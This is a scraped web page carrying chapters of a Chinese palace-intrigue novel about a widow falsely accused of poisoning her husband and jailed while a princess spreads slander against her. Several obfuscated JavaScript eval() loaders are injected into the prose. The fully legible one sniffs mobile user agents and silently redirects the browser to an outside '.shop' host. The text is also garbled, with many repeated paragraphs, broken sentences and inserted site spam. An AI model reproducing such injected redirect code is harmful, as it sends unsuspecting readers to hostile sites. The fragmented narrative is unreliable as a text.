郭晓芸强撑着,跟何大夫要来药方,目光扫过上面的药材,忽然眼睛一亮,声音带着几分急切的辩解:“大人!民妇有话要说!这药方上的药材,有几味名贵之物,尤其是那鹿茸、海马,价格不菲!夫君死之前,我二人早已捉襟见肘,怎会有银钱购买这般昂贵的虎狼药?这绝不可能!” 这话一出,满堂稍稍安静了几分,府尹眉头微蹙,神色也多了几分迟疑。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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话音刚落,徐正便猛地跳了出来,指着郭晓芸高声嚷道:“你休要在这里巧言令色、狡辩抵赖!我可找到了当年帮大郎换寿衣的杨大牛,据他亲口所言,大郎死状十分可疑,面色青紫,口鼻处还有暗红的血痂,这不是**是什么?分明是你嫌**死得慢,又在汤药里下了毒,害**他!大人,杨大牛就在堂下,等着来作证!” 围观百姓一听,更加震惊,这桩案子真是离奇。 第266章 毒杀 堂下走出一个身材粗壮、面色黝黑的汉子,对着府尹躬身行礼,有些局促。 府尹沉声问道:“杨大牛,你替徐维换的寿衣?徐正刚才所言,可是你亲眼所见? 杨大牛点了点头,瓮声瓮气道:“启禀大人,小人那日的确见到徐举人面色青紫,口鼻处还有血痂,小人怕惹事,便谁也没说。 郭晓芸如遭重击,浑身微微发抖,眼底的委屈瞬间翻涌成悲愤,声音也陡然拔高了几分:“徐正!你好狠毒的心!夫君死的时候,你们徐家上下,无论是公爹、继母,还是各位族亲,无一人前来探望,无一人前来帮忙!我一个弱女子,孤立无援,只能求着左右邻居前来相助,杨大牛便是邻居们帮忙找来的!如今事隔多日,你们反倒找来他,说夫君死状可疑,当初夫君尸骨未寒时,你们在哪里?! 她抬眸,泪水涟涟却目光坚定,一字一句掷地有声:“我行得正、坐得端,从未做过半点对不起夫君、对不起徐家的事!你们若非要这般颠倒黑白、往我身上泼脏水,妄图污蔑我的清白、辱没夫君的英灵,我也别无他法,只求大人恩准——开棺验尸!让夫君的尸骨来说话,看看他到底是不是**而亡,也好还我一个清白,还夫君一个安宁! “开棺验尸! 这四个字,如同惊雷般在公堂之上炸开,瞬间惊动了衙门外围观的百姓。 原本衙门外就围满了人,皆是听闻徐家二次告状、状告郭晓芸**亲夫的消息,特意赶来瞧热闹的。**亲夫本就是京中罕见的大案,如今竟闹到要开棺验尸的地步,更是闻所未闻、见所未见。围观百姓顿时炸开了锅,议论声此起彼伏,嗡嗡作响。 “我的天,开棺验尸啊,这可不是小事! “看来这案子是真的有猫腻,要么是郭氏真的杀了丈夫,要么就是徐家故意污蔑! “郭氏看着柔弱,不像是能下狠手**的样子,可徐家人又找了证人,还有药方,这到底谁说的是真的? “听说郭氏靠着锦衣卫苗大人,徐家敢这么闹,背后说不定有人撑腰呢! 议论声源源不断地飘进公堂,府尹眉头紧紧蹙起,脸色愈发凝重。他身居高位多年,心思缜密,怎会看不出其中的蹊跷?徐家人素来怯懦怕事,上一次告状便无功而返,这一次竟敢卷土重来,还敢告出“**亲夫这般滔天大罪,甚至找来了证人、拿出了“证据,若背后无人撑腰,绝无这般胆量——更何况,郭晓芸是苗菁护着的人,苗菁身为锦衣卫指挥使,手握重权,徐家人怎敢轻易招惹? 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 府尹心中清楚,徐家背后的人,定然来头不小,大概率是冲着苗菁来的,郭晓芸不过是被牵连的棋子。可眼下,他还未查到徐家背后之人究竟是谁,既不敢轻易得罪那位神秘的幕后之人,也不敢公然得罪苗菁,更不敢贸然定案——一旦定错,无论是放过真凶,还是冤枉好人,都会引火烧身。 他抬眼扫了一眼公堂门口,围观的百姓越来越多,议论声也越来越大,人人都盯着公堂之上,等着看他如何决断。这般情形下,他若是公然维护任何一方,都会落人口实,被人指责偏袒不公,有损官府威严。更何况,邹御史肯定派人来盯着这官司呢,一个不好,他先被参了一本。 思来想去,府尹重重地叹了口气,一拍惊堂木,沉声道:“肃静!” 公堂之上瞬间安静下来,围观百姓的议论声也渐渐平息,所有人的目光都集中在府尹身上。 府尹目光沉沉地扫过徐正与郭晓芸,语气严肃地说道:“本案事关重大,徐正所呈证据,郭晓芸所做辩解,皆需逐一查证核实;何大夫、杨大牛的证词,亦需进一步盘问。眼下证据不足,无法定案,本官决定,案子容后再审!徐正、郭氏,各自归家听候传讯,不得擅自离开京城,不得私下接触证人、篡改证词,若有违反,以妨碍公务论处!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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郭晓芸将这一切看在眼里,听着耳边的流言蜚语和徐正的污蔑,心中虽有悲愤,却依旧保持着几分清醒与从容。 她迎着府尹的目光,缓缓躬身,声音平静却坚定,没有半分怨怼:“启禀大人,民妇问心无愧,从未做过任何伤天害理之事,更未曾谋害夫君。民妇也坚信,大人明镜高悬,终会查清真相,还民妇一个清白,还亡夫一个安宁。大人若是觉得,需将民妇暂时羁押,以防流言、以正视听,民妇绝无二话,甘愿配合官府调查。” 她说得坦荡,眼底没有半分畏色,反倒让府尹心中多了几分愧疚。他沉默片刻,终是咬了咬牙,一拍惊堂木,沉声道:“来人!将郭氏暂且收押于府衙监牢,好生看管,不得让任何人私自接触,待本官查清证据、核实证词后,再行开堂再审!” 随着府尹一声“退堂”,这场惊心动魄的公堂对峙终是落下帷幕,可它掀起的风浪,却远比上一次更加汹涌,如同惊雷般席卷了整个京城。 退堂之后,无论是街头巷尾、茶楼酒肆,还是王公贵族的府邸之中,所有人都在议论这桩“寡媳**亲夫”的案子。 有人说郭晓芸蛇蝎心肠,为了攀附苗菁、贪图富贵,狠心谋害了体弱的夫君;有人说徐家薄情寡义,受人指使,故意污蔑郭晓芸;也有人旁观者清,猜测此事背后必有大人物撑腰,郭晓芸不过是这场权力博弈中的牺牲品。 流言越传越凶,越传越离谱,郭晓芸的名声,在这场无休无止的议论中,被撕扯得支离破碎。 薛嘉言得知郭晓芸被收押的消息时,正在苗府中焦急地等候消息,一听这话,瞬间慌了神。她万万没有想到,事情会闹到这般地步。 她再也坐不住,当即起身,急匆匆地赶往张鸿宝的府邸。 张鸿宝见薛嘉言匆匆赶来,神色焦灼,他连忙起身,温声安抚:“薛主子莫急,此事我已知晓。” 薛嘉言眼眶泛红,语气急切:“张公公,郭姐姐她是被冤枉的啊!徐家人分明是受人指使,故意污蔑她,你快想办法,让府尹大人放了她,不能让她在监牢里受苦!” 张鸿宝叹了口气,示意手下退下,才缓缓说道:“薛主子放心,我心中有数。这官司眼下闹得动静太大,少不得要委屈郭奶奶在大牢里待几日。您放心,郭奶奶是苗大人心尖上的人,我岂能坐视不管?我已经派人给周停云递了话,绝不让她在监牢中受到半分苛待。” 薛嘉言稍稍松了口气,可心中的焦灼依旧未减,又追问道:“那张公公可知,到底是何人在背后指使徐家?他 们为何要这般苦苦逼迫晓芸,非要置她于死地不可?” 提到幕后之人,张鸿宝的神色愈发凝重,缓缓摇头:“目前尚未查清。不过你放心,我已经加派人手,全力追查此事,相信用不了多久,便能查到蛛丝马迹。” 他顿了顿,又温声补充了一句:“苗大人那边的事情,已然快要了结,算算时日,也就这几日便能回京了。” 薛嘉言了解苗菁的手段,他手握重权,心思狠厉,向来护短,若是知晓郭晓芸被人这般污蔑、还被收押监牢,定然不会善罢甘休。只要苗菁回来,郭姐姐就有救了,那些背后搞鬼的人,也一定会付出代价。 可谁也没有想到,苗菁尚未回京,京城之中,便先掀起了另一股风浪——一段名为《雪上霜》的说书段子,悄然在各大茶楼、酒肆流行开来,迅速风靡全城。 这说书段子的作者,颇有文采,笔墨细腻,将故事讲得跌宕起伏、扣人心弦。 故事里的女主角,是一位看似柔弱善良、楚楚可怜的小白花,她自幼便与一位手握重权的年轻官员有情意,却被迫嫁给了一位体弱多病的书生。婚后,她不甘清贫,贪图富贵,便与旧日情人合谋,趁着书生病重之际,在汤药中下毒,谋害了自己的夫君,又伪造了放妻书,妄图撇清关系,与旧日情人双宿**。 明眼人一看便知,这故事中的情节,与郭晓芸、苗菁、徐维的案子,简直是如出一辙——小白花寡妇对应郭晓芸,体弱书生对应徐维,手握重权的年轻官员对应苗菁,连“伪造放妻书”“合**夫”的细节,都一模一样。 说书人在茶楼之上,绘声绘色地讲述着这段故事,将女主角的蛇蝎心肠、虚伪狡诈刻画得淋漓尽致,将旧日情人的徇私枉法、助纣为虐描绘得入木三分。台下的听众,听得津津有味,义愤填膺,纷纷怒骂故事中的女主角寡廉鲜耻、杀夫不仁。 久而久之,人们便自然而然地将故事与郭晓芸的案子联系在了一起,说书段子里的每一句指责,都成了人们唾骂郭晓芸的理由;说书段子里的每一个情节,都被人们当成了郭晓芸“**亲夫”的“铁证”。 这《雪上霜》的段子,如同火上浇油,让原本就汹涌的流言,变得更加猖獗。越来越多的人相信,郭晓芸就是故事中那个蛇蝎心肠的寡妇,就是谋害亲夫的凶手;越来越多的人,对着苗府的方向指指点点,嘲讽苗菁识人不清,竟被这样一个虚伪狡诈的女人迷惑。 一时间,郭晓芸的名字,成了“杀夫**”“寡廉鲜耻”的代名词,传遍了京城的每一个角落,无论老人孩童,提起她的名字,皆是满脸鄙夷与唾弃。 而这一切,都在长公主的算计之中——她要的,就是这样的效果,就是让郭晓芸名声尽毁,让苗菁归来之时,面对的是一个被全京城唾弃的女人,让他再也无法坦然地护着她,再也无法娶她为妻。 们为何要这般苦苦逼迫晓芸,非要置她于死地不可?” 提到幕后之人,张鸿宝的神色愈发凝重,缓缓摇头:“目前尚未查清。不过你放心,我已经加派人手,全力追查此事,相信用不了多久,便能查到蛛丝马迹。” 他顿了顿,又温声补充了一句:“苗大人那边的事情,已然快要了结,算算时日,也就这几日便能回京了。” 薛嘉言了解苗菁的手段,他手握重权,心思狠厉,向来护短,若是知晓郭晓芸被人这般污蔑、还被收押监牢,定然不会善罢甘休。只要苗菁回来,郭姐姐就有救了,那些背后搞鬼的人,也一定会付出代价。 可谁也没有想到,苗菁尚未回京,京城之中,便先掀起了另一股风浪——一段名为《雪上霜》的说书段子,悄然在各大茶楼、酒肆流行开来,迅速风靡全城。 这说书段子的作者,颇有文采,笔墨细腻,将故事讲得跌宕起伏、扣人心弦。 故事里的女主角,是一位看似柔弱善良、楚楚可怜的小白花,她自幼便与一位手握重权的年轻官员有情意,却被迫嫁给了一位体弱多病的书生。婚后,她不甘清贫,贪图富贵,便与旧日情人合谋,趁着书生病重之际,在汤药中下毒,谋害了自己的夫君,又伪造了放妻书,妄图撇清关系,与旧日情人双宿**。 明眼人一看便知,这故事中的情节,与郭晓芸、苗菁、徐维的案子,简直是如出一辙——小白花寡妇对应郭晓芸,体弱书生对应徐维,手握重权的年轻官员对应苗菁,连“伪造放妻书”“合**夫”的细节,都一模一样。 说书人在茶楼之上,绘声绘色地讲述着这段故事,将女主角的蛇蝎心肠、虚伪狡诈刻画得淋漓尽致,将旧日情人的徇私枉法、助纣为虐描绘得入木三分。台下的听众,听得津津有味,义愤填膺,纷纷怒骂故事中的女主角寡廉鲜耻、杀夫不仁。 久而久之,人们便自然而然地将故事与郭晓芸的案子联系在了一起,说书段子里的每一句指责,都成了人们唾骂郭晓芸的理由;说书段子里的每一个情节,都被人们当成了郭晓芸“**亲夫”的“铁证”。 这《雪上霜》的段子,如同火上浇油,让原本就汹涌的流言,变得更加猖獗。越来越多的人相信,郭晓芸就是故事中那个蛇蝎心肠的寡妇,就是谋害亲夫的凶手;越来越多的人,对着苗府的方向指指点点,嘲讽苗菁识人不清,竟被这样一个虚伪狡诈的女人迷惑。 一时间,郭晓芸的名字,成了“杀夫**”“寡廉鲜耻”的代名词,传遍了京城的每一个角落,无论老人孩童,提起她的名字,皆是满脸鄙夷与唾弃。 而这一切,都在长公主的算计之中——她要的,就是这样的效果,就是让郭晓芸名声尽毁,让苗菁归来之时,面对的是一个被全京城唾弃的女人,让他再也无法坦然地护着她,再也无法娶她为妻。 们为何要这般苦苦逼迫晓芸,非要置她于死地不可?” 提到幕后之人,张鸿宝的神色愈发凝重,缓缓摇头:“目前尚未查清。不过你放心,我已经加派人手,全力追查此事,相信用不了多久,便能查到蛛丝马迹。” 他顿了顿,又温声补充了一句:“苗大人那边的事情,已然快要了结,算算时日,也就这几日便能回京了。” 薛嘉言了解苗菁的手段,他手握重权,心思狠厉,向来护短,若是知晓郭晓芸被人这般污蔑、还被收押监牢,定然不会善罢甘休。只要苗菁回来,郭姐姐就有救了,那些背后搞鬼的人,也一定会付出代价。 可谁也没有想到,苗菁尚未回京,京城之中,便先掀起了另一股风浪——一段名为《雪上霜》的说书段子,悄然在各大茶楼、酒肆流行开来,迅速风靡全城。 这说书段子的作者,颇有文采,笔墨细腻,将故事讲得跌宕起伏、扣人心弦。 故事里的女主角,是一位看似柔弱善良、楚楚可怜的小白花,她自幼便与一位手握重权的年轻官员有情意,却被迫嫁给了一位体弱多病的书生。婚后,她不甘清贫,贪图富贵,便与旧日情人合谋,趁着书生病重之际,在汤药中下毒,谋害了自己的夫君,又伪造了放妻书,妄图撇清关系,与旧日情人双宿**。 明眼人一看便知,这故事中的情节,与郭晓芸、苗菁、徐维的案子,简直是如出一辙——小白花寡妇对应郭晓芸,体弱书生对应徐维,手握重权的年轻官员对应苗菁,连“伪造放妻书”“合**夫”的细节,都一模一样。 说书人在茶楼之上,绘声绘色地讲述着这段故事,将女主角的蛇蝎心肠、虚伪狡诈刻画得淋漓尽致,将旧日情人的徇私枉法、助纣为虐描绘得入木三分。台下的听众,听得津津有味,义愤填膺,纷纷怒骂故事中的女主角寡廉鲜耻、杀夫不仁。 久而久之,人们便自然而然地将故事与郭晓芸的案子联系在了一起,说书段子里的每一句指责,都成了人们唾骂郭晓芸的理由;说书段子里的每一个情节,都被人们当成了郭晓芸“**亲夫”的“铁证”。 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说书人在茶楼之上,绘声绘色地讲述着这段故事,将女主角的蛇蝎心肠、虚伪狡诈刻画得淋漓尽致,将旧日情人的徇私枉法、助纣为虐描绘得入木三分。台下的听众,听得津津有味,义愤填膺,纷纷怒骂故事中的女主角寡廉鲜耻、杀夫不仁。 久而久之,人们便自然而然地将故事与郭晓芸的案子联系在了一起,说书段子里的每一句指责,都成了人们唾骂郭晓芸的理由;说书段子里的每一个情节,都被人们当成了郭晓芸“**亲夫”的“铁证”。 这《雪上霜》的段子,如同火上浇油,让原本就汹涌的流言,变得更加猖獗。越来越多的人相信,郭晓芸就是故事中那个蛇蝎心肠的寡妇,就是谋害亲夫的凶手;越来越多的人,对着苗府的方向指指点点,嘲讽苗菁识人不清,竟被这样一个虚伪狡诈的女人迷惑。 一时间,郭晓芸的名字,成了“杀夫**”“寡廉鲜耻”的代名词,传遍了京城的每一个角落,无论老人孩童,提起她的名字,皆是满脸鄙夷与唾弃。 而这一切,都在长公主的算计之中——她要的,就是这样的效果,就是让郭晓芸名声尽毁,让苗菁归来之时,面对的是一个被全京城唾弃的女人,让他再也无法坦然地护着她,再也无法娶她为妻。 们为何要这般苦苦逼迫晓芸,非要置她于死地不可?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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久而久之,人们便自然而然地将故事与郭晓芸的案子联系在了一起,说书段子里的每一句指责,都成了人们唾骂郭晓芸的理由;说书段子里的每一个情节,都被人们当成了郭晓芸“**亲夫”的“铁证”。 这《雪上霜》的段子,如同火上浇油,让原本就汹涌的流言,变得更加猖獗。越来越多的人相信,郭晓芸就是故事中那个蛇蝎心肠的寡妇,就是谋害亲夫的凶手;越来越多的人,对着苗府的方向指指点点,嘲讽苗菁识人不清,竟被这样一个虚伪狡诈的女人迷惑。 一时间,郭晓芸的名字,成了“杀夫**”“寡廉鲜耻”的代名词,传遍了京城的每一个角落,无论老人孩童,提起她的名字,皆是满脸鄙夷与唾弃。 而这一切,都在长公主的算计之中——她要的,就是这样的效果,就是让郭晓芸名声尽毁,让苗菁归来之时,面对的是一个被全京城唾弃的女人,让他再也无法坦然地护着她,再也无法娶她为妻。 们为何要这般苦苦逼迫晓芸,非要置她于死地不可?” 提到幕后之人,张鸿宝的神色愈发凝重,缓缓摇头:“目前尚未查清。不过你放心,我已经加派人手,全力追查此事,相信用不了多久,便能查到蛛丝马迹。” 他顿了顿,又温声补充了一句:“苗大人那边的事情,已然快要了结,算算时日,也就这几日便能回京了。” 薛嘉言了解苗菁的手段,他手握重权,心思狠厉,向来护短,若是知晓郭晓芸被人这般污蔑、还被收押监牢,定然不会善罢甘休。只要苗菁回来,郭姐姐就有救了,那些背后搞鬼的人,也一定会付出代价。 可谁也没有想到,苗菁尚未回京,京城之中,便先掀起了另一股风浪——一段名为《雪上霜》的说书段子,悄然在各大茶楼、酒肆流行开来,迅速风靡全城。 这说书段子的作者,颇有文采,笔墨细腻,将故事讲得跌宕起伏、扣人心弦。 故事里的女主角,是一位看似柔弱善良、楚楚可怜的小白花,她自幼便与一位手握重权的年轻官员有情意,却被迫嫁给了一位体弱多病的书生。婚后,她不甘清贫,贪图富贵,便与旧日情人合谋,趁着书生病重之际,在汤药中下毒,谋害了自己的夫君,又伪造了放妻书,妄图撇清关系,与旧日情人双宿**。 明眼人一看便知,这故事中的情节,与郭晓芸、苗菁、徐维的案子,简直是如出一辙——小白花寡妇对应郭晓芸,体弱书生对应徐维,手握重权的年轻官员对应苗菁,连“伪造放妻书”“合**夫”的细节,都一模一样。 说书人在茶楼之上,绘声绘色地讲述着这段故事,将女主角的蛇蝎心肠、虚伪狡诈刻画得淋漓尽致,将旧日情人的徇私枉法、助纣为虐描绘得入木三分。台下的听众,听得津津有味,义愤填膺,纷纷怒骂故事中的女主角寡廉鲜耻、杀夫不仁。 久而久之,人们便自然而然地将故事与郭晓芸的案子联系在了一起,说书段子里的每一句指责,都成了人们唾骂郭晓芸的理由;说书段子里的每一个情节,都被人们当成了郭晓芸“**亲夫”的“铁证”。 这《雪上霜》的段子,如同火上浇油,让原本就汹涌的流言,变得更加猖獗。越来越多的人相信,郭晓芸就是故事中那个蛇蝎心肠的寡妇,就是谋害亲夫的凶手;越来越多的人,对着苗府的方向指指点点,嘲讽苗菁识人不清,竟被这样一个虚伪狡诈的女人迷惑。 一时间,郭晓芸的名字,成了“杀夫**”“寡廉鲜耻”的代名词,传遍了京城的每一个角落,无论老人孩童,提起她的名字,皆是满脸鄙夷与唾弃。 而这一切,都在长公主的算计之中——她要的,就是这样的效果,就是让郭晓芸名声尽毁,让苗菁归来之时,面对的是一个被全京城唾弃的女人,让他再也无法坦然地护着她,再也无法娶她为妻。 们为何要这般苦苦逼迫晓芸,非要置她于死地不可?” 提到幕后之人,张鸿宝的神色愈发凝重,缓缓摇头:“目前尚未查清。不过你放心,我已经加派人手,全力追查此事,相信用不了多久,便能查到蛛丝马迹。” 他顿了顿,又温声补充了一句:“苗大人那边的事情,已然快要了结,算算时日,也就这几日便能回京了。” 薛嘉言了解苗菁的手段,他手握重权,心思狠厉,向来护短,若是知晓郭晓芸被人这般污蔑、还被收押监牢,定然不会善罢甘休。只要苗菁回来,郭姐姐就有救了,那些背后搞鬼的人,也一定会付出代价。 可谁也没有想到,苗菁尚未回京,京城之中,便先掀起了另一股风浪——一段名为《雪上霜》的说书段子,悄然在各大茶楼、酒肆流行开来,迅速风靡全城。 这说书段子的作者,颇有文采,笔墨细腻,将故事讲得跌宕起伏、扣人心弦。 故事里的女主角,是一位看似柔弱善良、楚楚可怜的小白花,她自幼便与一位手握重权的年轻官员有情意,却被迫嫁给了一位体弱多病的书生。婚后,她不甘清贫,贪图富贵,便与旧日情人合谋,趁着书生病重之际,在汤药中下毒,谋害了自己的夫君,又伪造了放妻书,妄图撇清关系,与旧日情人双宿**。 明眼人一看便知,这故事中的情节,与郭晓芸、苗菁、徐维的案子,简直是如出一辙——小白花寡妇对应郭晓芸,体弱书生对应徐维,手握重权的年轻官员对应苗菁,连“伪造放妻书”“合**夫”的细节,都一模一样。 说书人在茶楼之上,绘声绘色地讲述着这段故事,将女主角的蛇蝎心肠、虚伪狡诈刻画得淋漓尽致,将旧日情人的徇私枉法、助纣为虐描绘得入木三分。台下的听众,听得津津有味,义愤填膺,纷纷怒骂故事中的女主角寡廉鲜耻、杀夫不仁。 久而久之,人们便自然而然地将故事与郭晓芸的案子联系在了一起,说书段子里的每一句指责,都成了人们唾骂郭晓芸的理由;说书段子里的每一个情节,都被人们当成了郭晓芸“**亲夫”的“铁证”。 这《雪上霜》的段子,如同火上浇油,让原本就汹涌的流言,变得更加猖獗。越来越多的人相信,郭晓芸就是故事中那个蛇蝎心肠的寡妇,就是谋害亲夫的凶手;越来越多的人,对着苗府的方向指指点点,嘲讽苗菁识人不清,竟被这样一个虚伪狡诈的女人迷惑。 一时间,郭晓芸的名字,成了“杀夫**”“寡廉鲜耻”的代名词,传遍了京城的每一个角落,无论老人孩童,提起她的名字,皆是满脸鄙夷与唾弃。 而这一切,都在长公主的算计之中——她要的,就是这样的效果,就是让郭晓芸名声尽毁,让苗菁归来之时,面对的是一个被全京城唾弃的女人,让他再也无法坦然地护着她,再也无法娶她为妻。 第268章 回来 青州的公务终是尘埃落定苗菁连片刻歇息都未曾耽搁。他特意绕遍了青州城的街巷为郭晓芸挑了几样物件有吃食有首饰。 将礼物小心翼翼收进包袱苗菁翻身上马抬手勒紧缰绳对着随行的锦衣卫沉声道:“快马加鞭回京!” 话音未落他已率先策马疾驰而出风拂过他的玄色锦袍猎猎作响他眉宇间的疲惫尚未散去眼底却藏着温柔与急切——他太想快点回到京城回到她身边。 日夜兼程三日后京城的城门终于出现在视线之中。苗菁催马加快速度穿过城门奔向家中。 骏马疾驰至苗府门前 一股不祥的预感瞬间席卷了苗菁的心头他眉头猛地一蹙周身的气息骤然沉了下来开口问道:“奶奶呢?” 话音刚落一道身影便急匆匆地从府内奔了出来正是秦忠。 见到苗菁秦忠双腿一软险些跪倒在地连忙稳住身形躬身急声道:“大人!您可算回来了!” “慌什么?”苗菁的声音愈发冰冷心头的不安愈发强烈“我问你奶奶呢?她到底在哪里?” 秦忠不敢有半分隐瞒连忙开口:“大人您先别着急郭奶奶她……她没事只是……只是被关在了顺天府大牢里!” “什么?!” 这一句话如同惊雷般在苗菁耳边炸开他浑身猛地一僵脸上的血色瞬间褪去眼底的温柔与急切瞬间被震惊与暴怒取代。 他一把揪住秦忠的衣领力道大得几乎要将秦忠的衣领撕碎声音沙哑又气又怒道:“你说什么?!她被关在大牢里?怎么回事?!” 秦忠被他揪得喘不过气却也知晓苗菁的怒火并非针对自己连忙艰难地说道:“大人您先别着急!郭奶奶没事!府尹大人并未苛待她虽关在牢中却给她安排了干净的牢房好吃好喝招待着只是暂时收押等查清案子的真相便能放出来了!” 苗菁的手指微微颤抖周身的气压低得吓人眼底的暴怒几乎要将他吞噬。他经历过刀光剑影见过生死离别早已练就了一身沉稳的性子可唯独涉及郭晓芸的事情他还是无法做到冷静。他深吸一口气强迫自己压下心头的怒火与慌乱。 缓缓松开揪住秦忠衣领的手苗菁缓了缓心神周身的气息依旧沉郁 你的朋友正在书荒,快去帮帮他吧 得可怕,一字一句地说道:“从头细说,此事的前因后果,一丝一毫,都不许隐瞒,不许遗漏。” “是!”秦忠连忙躬身,不敢有半分懈怠,连忙从头到尾,细细诉说起来——从徐家第一次上公堂告状,郭晓芸拿出放妻书胜诉;到徐家卷土重来,状告郭晓芸**亲夫,拿出“证人”与“药方”;再到郭晓芸悲愤之下请开棺验尸,被围观百姓的**裹挟,府尹无奈将她收押;还有京城中流传的流言,以及那部风靡全城、影射郭晓芸的《雪上霜》说书段子。 秦忠说得又急又快,生怕遗漏任何一个细节,语气中满是愧疚与自责:“大人,是小的无能,没能护好郭奶奶,让她受了这般委屈,还被关在大牢中,承受这般难听的流言……” 不等秦忠说完,苗菁的拳头,已紧紧攥起,指节泛白,连带着周身的空气,都仿佛凝固了一般。他垂眸,眼底的寒意与恨意,几乎要溢出来——不用秦忠多说,他心中早已清楚,这一切,是谁在背后搞鬼。 除了那位骄纵跋扈、偏执狠戾的长公主,谁还有这般胆量,敢公然与他作对?谁还有这般心思,能步步为营,指使徐家颠倒黑白、伪造证据,还能在京城中散布流言、编排说书段子,只为毁了郭晓芸的名声,断了他与她的可能? 想起长公主往日里的纠缠与挑衅,想起她此刻的阴狠与歹毒,想起郭晓芸此刻被关在冰冷的大牢中,承受着不白之冤与全城唾骂,苗菁的心头,涌起一股滔天恨意,紧咬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17217471|197140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 牙关,牙齿咯咯作响,眼底闪过一丝嗜血的冷光——他恨不得立刻闯入长公主府,手刃了那个蛇蝎心肠的女人。 深吸一口气,苗菁强行压下心头的杀意,他转身大步出门,翻身上马直奔顺天府衙门,他要先看到她,确保她无恙,才能安心做接下来的事情。 府尹周停云听说苗菁来了,忙带人迎了出来。 “苗大**驾光临,下官有失远迎,还望恕罪。”周停云躬身行礼,态度十分谦恭。 周停云的官职虽与苗菁平级,可锦衣卫指挥使名存实亡,他还真不敢把苗菁当平级的官员看待。 苗菁眉头紧蹙,薄唇紧抿,冷声道:“周大人不必多礼,本官眼下,只想先去大牢看看家里人。” 周停云心中一凛,不敢有半分耽搁,连忙点头应道:“是是是,下官这就命人带路!” 说罢,他转身吩咐身边的典狱官:“快,亲自带苗大人去牢中!” 典狱官连忙躬身领命,快步走到苗菁身前,恭敬地做了个“请”的手势:“苗大人,这边请。” 苗菁颔首,大步跟了上去,穿过府衙的回廊,拐进僻静幽深的小巷,便是顺天府的大牢——这里阴暗潮湿,空气中弥漫着挥之不去的霉味与铁锈味,与府衙前的肃穆截然不同。 在大牢里转了几转,典狱官停在了一间牢房门前。 牢房内,收拾得很干净,被褥铺得厚厚的,桌上摆着三菜一汤,还冒着一丝若有若无的热气,只是几乎没怎么动过。 郭晓芸穿着一身素净的衣裳,鬓发整齐,只是面色瞧着有些苍白,眼下带着淡淡的青黑,显然是这几日忧心忡忡、未曾睡好。 她正坐在桌前,双手交握放在膝上,眉头轻蹙,眼神空洞地望着地面,满脸的愁容,连牢房门口有人来了都未曾察觉。 直到一道开锁的声音响起,郭晓芸才猛地抬头。 第269章 竟是真的 牢门被推开,一个高大挺拔的身影逆光走来,光线太过刺眼,她看不清他的脸,可她知道,那是她的苗三弟。 苗菁看着形容憔悴、满脸愁容的郭晓芸,心头猛地一揪,他大踏步走上前,毫不犹豫一把将她轻轻揽入怀中,喉咙发紧,深呼吸了一口才勉强说出话来,呢喃着:“对不起,晓芸,对不起……都是我没护好你,让你受了这般委屈,让你被困在这种地方,是我来晚了。 他的怀抱宽阔而温暖,郭晓芸依偎在他怀里,顿感安心。 她抬起手,轻轻抚着苗菁的后背,动作温柔,柔声道:“不关你的事,我在这里没受苦,周大人待我很周全,你看,被褥很厚,饭菜也很好,只要能查清楚真相,洗去冤屈,我受这点委屈不算什么。 苗菁紧紧抱了她片刻,才缓缓松开,双手扶着她的肩膀,上上下下仔细打量着她——确认她身上没有半点伤痕,神色虽憔悴却并无大碍,又转头看了一眼牢房内的环境,被褥整齐,饭菜新鲜,确认她真的如所说那般,没有受苛待,这才稍稍松了一口气。 他握住她冰凉的手,将自己掌心的温度传递给她,语气坚定地低声道:“放心,晓芸,不出三日,我便一定会把你从这里接走,一定会查清楚所有真相,洗去你身上所有的污名,让所有冤枉你、伤害你的人,都付出应有的代价。 郭晓芸看着他眼底的坚定与心疼,轻轻点了点头,却又忍不住叮嘱道:“你慢慢来,不用着急,我在这里很安全。你一定要小心些,对方既然敢这般设计陷害我,背后定然有恃无恐,你万万不可冲动,别中了别人的计谋。 “放心,我做事有分寸。 何首被押入北镇抚司大牢的那一刻,整个人便已魂不附体。 锦衣卫的地界,向来是有进难出,刑房之内阴寒刺骨,各式刑具森然陈列,却偏偏不见半分血腥气。 薄广带人将他按在堂下,手段利落至极,各种酷刑尽在掌握,专挑那些不见外伤、却痛入骨髓的法子伺候,只消片刻,便能让最硬气的死囚开口吐实。 可一番刑讯下来,何首瘫软在地,面如土色,气息奄奄,翻来覆去却仍是公堂上那套说辞,语气颤抖却字字真切,没有半分改口,更没有攀咬旁人、吐露幕后指使的意思。 苗菁坐在上首,指尖轻叩桌面,眉头越蹙越紧。 他浸淫锦衣卫多年,阅人无数,人是否说谎,眼神、语气、细微神情,根本骗不过他。何首虽吓得魂飞魄散,言辞间却无半分慌乱躲闪,不像是被逼串供,倒像是真 听说看这本书的人都是很幸运的,分享后你的运气会更棒 的说的全是实话。 